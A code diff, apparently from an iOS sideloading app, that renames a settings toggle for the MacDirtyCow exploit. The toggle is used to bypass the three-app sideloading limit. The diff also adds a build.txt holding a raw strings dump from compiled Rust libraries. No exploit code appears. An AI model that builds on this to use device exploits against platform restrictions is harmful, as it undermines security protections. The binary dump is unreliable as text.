||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
||||
<rect key="frame" x="121" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -447,13 +447,13 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Licenses" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="D6b-cd-pVK">
|
||||
<rect key="frame" x="30" y="15.5" width="67.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="s79-GQ-khr">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -487,16 +487,16 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Enable MDC Exploit" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IY0-94-5LN">
|
||||
<rect key="frame" x="30" y="15.5" width="163" height="20.5"/>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable 3-app-limit bypass" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IY0-94-5LN">
|
||||
<rect key="frame" x="30" y="15.5" width="214" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" ambiguous="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="Oie-te-KSQ">
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="Oie-te-KSQ">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleEnableMDCExploit:" destination="aMk-Xp-UL8" eventType="valueChanged" id="tfb-kk-C17"/>
|
||||
<action selector="toggleenableCowExploit:" destination="aMk-Xp-UL8" eventType="valueChanged" id="tfb-kk-C17"/>
|
||||
</connections>
|
||||
</switch>
|
||||
</subviews>
|
||||
@@ -521,19 +521,19 @@
|
||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="951.5" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="961" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
||||
<rect key="frame" x="30" y="15.5" width="125.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -560,13 +560,13 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
||||
<rect key="frame" x="30" y="15.5" width="187.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -596,13 +596,13 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
||||
<rect key="frame" x="30" y="15.5" width="119" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -632,13 +632,13 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -665,13 +665,13 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
||||
<rect key="frame" x="30" y="15.5" width="154" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -705,13 +705,13 @@
|
||||
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||
<outlet property="enableMDCExploitSwitch" destination="Oie-te-KSQ" id="jKn-t1-gyk"/>
|
||||
<outlet property="enableCowExploitSwitch" destination="Oie-te-KSQ" id="jKn-t1-gyk"/>
|
||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||
</connections>
|
||||
</tableViewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="879" y="44"/>
|
||||
<point key="canvasLocation" x="877.60000000000002" y="43.628185907046479"/>
|
||||
</scene>
|
||||
<!--Settings-->
|
||||
<scene sceneID="L0E-XA-SxK">
|
||||
|
||||
@@ -24,7 +24,7 @@ private extension SettingsViewController
|
||||
case appRefresh
|
||||
case instructions
|
||||
case credits
|
||||
case macDirtyCow
|
||||
case cowExploit
|
||||
case debug
|
||||
}
|
||||
|
||||
@@ -74,7 +74,7 @@ final class SettingsViewController: UITableViewController
|
||||
@IBOutlet private var accountTypeLabel: UILabel!
|
||||
|
||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||
@IBOutlet private var enableMDCExploitSwitch: UISwitch!
|
||||
@IBOutlet private var enableCowExploitSwitch: UISwitch!
|
||||
|
||||
@IBOutlet private var versionLabel: UILabel!
|
||||
|
||||
@@ -151,7 +151,7 @@ private extension SettingsViewController
|
||||
}
|
||||
|
||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||
self.enableMDCExploitSwitch.isOn = UserDefaults.standard.enableMacDirtyCowExploit
|
||||
self.enableCowExploitSwitch.isOn = UserDefaults.standard.enableCowExploit
|
||||
|
||||
if self.isViewLoaded
|
||||
{
|
||||
@@ -209,14 +209,14 @@ private extension SettingsViewController
|
||||
case .instructions:
|
||||
break
|
||||
|
||||
case .macDirtyCow:
|
||||
case .cowExploit:
|
||||
if isHeader
|
||||
{
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("MACDIRTYCOW", comment: "")
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("EXPLOITS", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Your device supports the MacDirtyCow exploit. When this setting is on, the exploit is used to enable you to sideload more than 3 apps at a time. (warning: might be unstable)", comment: "")
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Your device supports the M_D_C exploit. When this setting is on, the exploit is used to enable you to sideload more than 3 apps at a time. (warning: might be unstable)", comment: "")
|
||||
}
|
||||
|
||||
case .credits:
|
||||
@@ -243,8 +243,8 @@ private extension SettingsViewController
|
||||
{
|
||||
switch section
|
||||
{
|
||||
case .macDirtyCow:
|
||||
let isHidden = !(UserDefaults.standard.isMacDirtyCowSupported)
|
||||
case .cowExploit:
|
||||
let isHidden = !(UserDefaults.standard.isCowExploitSupported)
|
||||
return isHidden
|
||||
|
||||
default: return false
|
||||
@@ -310,9 +310,9 @@ private extension SettingsViewController
|
||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleEnableMDCExploit(_ sender: UISwitch)
|
||||
@IBAction func toggleenableCowExploit(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.enableMacDirtyCowExploit = sender.isOn
|
||||
UserDefaults.standard.enableCowExploit = sender.isOn
|
||||
|
||||
if UserDefaults.standard.activeAppsLimit != nil
|
||||
{
|
||||
@@ -441,7 +441,7 @@ extension SettingsViewController
|
||||
case _ where self.isSectionHidden(section): return nil
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .account where self.activeTeam == nil: return nil
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .macDirtyCow, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .cowExploit, .debug:
|
||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(headerView, for: section, isHeader: true)
|
||||
return headerView
|
||||
@@ -457,7 +457,7 @@ extension SettingsViewController
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return nil
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .signIn, .patreon, .appRefresh, .macDirtyCow:
|
||||
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(footerView, for: section, isHeader: false)
|
||||
return footerView
|
||||
@@ -474,7 +474,7 @@ extension SettingsViewController
|
||||
case _ where self.isSectionHidden(section): return 1.0
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .macDirtyCow:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .cowExploit:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||
return height
|
||||
|
||||
@@ -490,7 +490,7 @@ extension SettingsViewController
|
||||
case _ where self.isSectionHidden(section): return 1.0
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .patreon, .appRefresh, .macDirtyCow:
|
||||
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||
return height
|
||||
|
||||
@@ -594,7 +594,7 @@ extension SettingsViewController
|
||||
}
|
||||
case .refreshAttempts, .errorLog: break
|
||||
}
|
||||
case .macDirtyCow: break
|
||||
case .cowExploit: break
|
||||
default: break
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,8 +59,8 @@ public extension UserDefaults {
|
||||
|
||||
@NSManaged @objc(activeAppsLimit) private var _activeAppsLimit: NSNumber?
|
||||
|
||||
@NSManaged var enableMacDirtyCowExploit: Bool
|
||||
@NSManaged var isMacDirtyCowSupported: Bool
|
||||
@NSManaged var enableCowExploit: Bool
|
||||
@NSManaged var isCowExploitSupported: Bool
|
||||
|
||||
class func registerDefaults() {
|
||||
let ios13_5 = OperatingSystemVersion(majorVersion: 13, minorVersion: 5, patchVersion: 0)
|
||||
@@ -75,7 +75,7 @@ public extension UserDefaults {
|
||||
let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
|
||||
|
||||
// MacDirtyCow supports iOS 14.0 - 15.7.1 OR 16.0 - 16.1.2
|
||||
let isMacDirtyCowSupported =
|
||||
let isCowExploitSupported =
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
|
||||
|
||||
@@ -85,16 +85,16 @@ public extension UserDefaults {
|
||||
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
||||
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
||||
#keyPath(UserDefaults.requiresAppGroupMigration): true,
|
||||
#keyPath(UserDefaults.enableMacDirtyCowExploit): true,
|
||||
#keyPath(UserDefaults.isMacDirtyCowSupported): isMacDirtyCowSupported,
|
||||
#keyPath(UserDefaults.enableCowExploit): true,
|
||||
#keyPath(UserDefaults.isCowExploitSupported): isCowExploitSupported,
|
||||
]
|
||||
|
||||
UserDefaults.standard.register(defaults: defaults)
|
||||
UserDefaults.shared.register(defaults: defaults)
|
||||
|
||||
if !isMacDirtyCowSupported {
|
||||
// Disable enableMacDirtyCowExploit if running iOS version that doesn't support MacDirtyCow.
|
||||
UserDefaults.standard.enableMacDirtyCowExploit = false
|
||||
if !isCowExploitSupported {
|
||||
// Disable enableCowExploit if running iOS version that doesn't support MacDirtyCow.
|
||||
UserDefaults.standard.enableCowExploit = false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ public extension InstalledApp
|
||||
{
|
||||
static var freeAccountActiveAppsLimit: Int
|
||||
{
|
||||
if UserDefaults.standard.enableMacDirtyCowExploit && UserDefaults.standard.isMacDirtyCowSupported
|
||||
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||
{
|
||||
return 99999
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Configuration settings file format documentation can be found at:
|
||||
// https://help.apple.com/xcode/#/dev745c5c974
|
||||
|
||||
MARKETING_VERSION = 0.3.0-m-f1shy-mdc.14
|
||||
MARKETING_VERSION = 0.3.0-m-f1shy-cow.15
|
||||
CURRENT_PROJECT_VERSION = 3020
|
||||
|
||||
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
||||
|
||||
335
build.txt
Normal file
335
build.txt
Normal file
@@ -0,0 +1,335 @@
|
||||
PMpmAMamMondayTuesdayWednesdayFridaySunday/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/time-0.3.17/src/formatting/mod.rs-+0 JanuaryMarchAprilMayAugustSeptemberOctober
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/rusty_libimobiledevice-0.1.7/src/services/afc.rsCannot use empty string as directory
|
||||
queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/inject.rsminimuxer-install-provUnable to install provisioning profile: minimuxer::provisionMinimuxer finished installing profile!!Unable to remove provisioning profile: Minimuxer finished removing profile!!
|
||||
rusty_libimobiledevice::services::instproxy/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/rusty_libimobiledevice-0.1.7/src/services/instproxy.rsInstproxy get_path_for_bundle_identifierInstproxy get_path_for_bundle_identifier doneCreating instproxy client for Instproxy installInstproxy uninstallcalled `Result::unwrap()` on an `Err` valuecalled `Option::unwrap()` on a `None` value/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/collections/btree/map/entry.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/mpsc/list.rsheartbeatsrc/heartbeat.rs
|
||||
#/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/rusty_libimobiledevice-0.1.7/src/services/lockdownd.rsCreating lockdownd client for rusty_libimobiledevice::services::lockdowndGetting value for Support for multi-disk files is not implementedFile cannot contain ZIP64 central directory endInvalid central directory size or offsetPassword required to decrypt fileCould not seek to start of central directoryInvalid file path/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/read.rscalled `Result::unwrap()` on an `Err` valueoffset_second-T:.Z+PoisonError
|
||||
queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/queue.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/rusty_libimobiledevice-0.1.7/src/services/heartbeat.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferfailed to write the buffered data
|
||||
called `Result::unwrap()` on an `Err` valueoffset_secondMondayTuesdayWednesdayFridaySunday/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/time-0.3.17/src/formatting/formattable.rs, JanuaryMarchAprilMayAugustSeptemberOctober:-+
|
||||
called `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/simplelog-0.12.0/src/loggers/writelog.rs Invalid time format: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/simplelog-0.12.0/src/loggers/logging.rs[]: <unknown>:<unknown>] :]
|
||||
+1/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/rusty_libimobiledevice-0.1.7/src/services/mobile_image_mounter.rs
|
||||
called `Result::unwrap()` on an `Err` valueZipFileReader was in an invalid state/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/read.rsCompression method not supportedAES extra data field has an unsupported lengthInvalid AES vendorInvalid AES vendor versionInvalid AES encryption strengthInvalid reader stateCould not consume all of the output of the current ZipFile:
|
||||
number of read bytes exceeds limitInvalid checksum/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/crc32.rsassertion failed: self.multi/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bzip2-0.4.4/src/bufread.rsdecompression not finished but EOF reached
|
||||
Given position outside of the buffer bounds./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zstd-safe-5.0.2+zstd.1.5.2/src/lib.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/flate2-1.0.25/src/bufreader.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/generic-array-0.14.6/src/lib.rs
|
||||
called `Result::unwrap()` on an `Err` valuecorrupt deflate stream/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/cp437.rs
|
||||
called `Result::unwrap()` on an `Err` valuePRF initialization failure/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/pbkdf2-0.11.0/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/aes.rsTried to use an already finalized HMAC. This is a bug!Invalid authentication code, this could be due to an invalid password or errors in the data/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zip-0.6.4/src/aes_ctr.rs
|
||||
description() is deprecated; use Displayincomplete frameInvalidPasswordzstd returned null pointer when creating new context/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/zstd-safe-5.0.2+zstd.1.5.2/src/lib.rsbad error message from zstdGiven position outside of the buffer bounds.
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bzip2-0.4.4/src/mem.rs
|
||||
Sequencebz internal error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bzip2-sys-0.1.11+1.0.8/lib.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/flate2-1.0.25/src/ffi/rust.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/miniz_oxide-0.6.2/src/inflate/core.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/miniz_oxide-0.6.2/src/inflate/output_buffer.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/miniz_oxide-0.6.2/src/inflate/stream.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/aes-0.7.5/src/soft/fixslice64.rsInvalidLengthassertion failed: a.len() == b.len()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/constant_time_eq-0.1.5/src/lib.rs
|
||||
a/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/serde_json-1.0.92/src/read.rs
|
||||
signal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs
|
||||
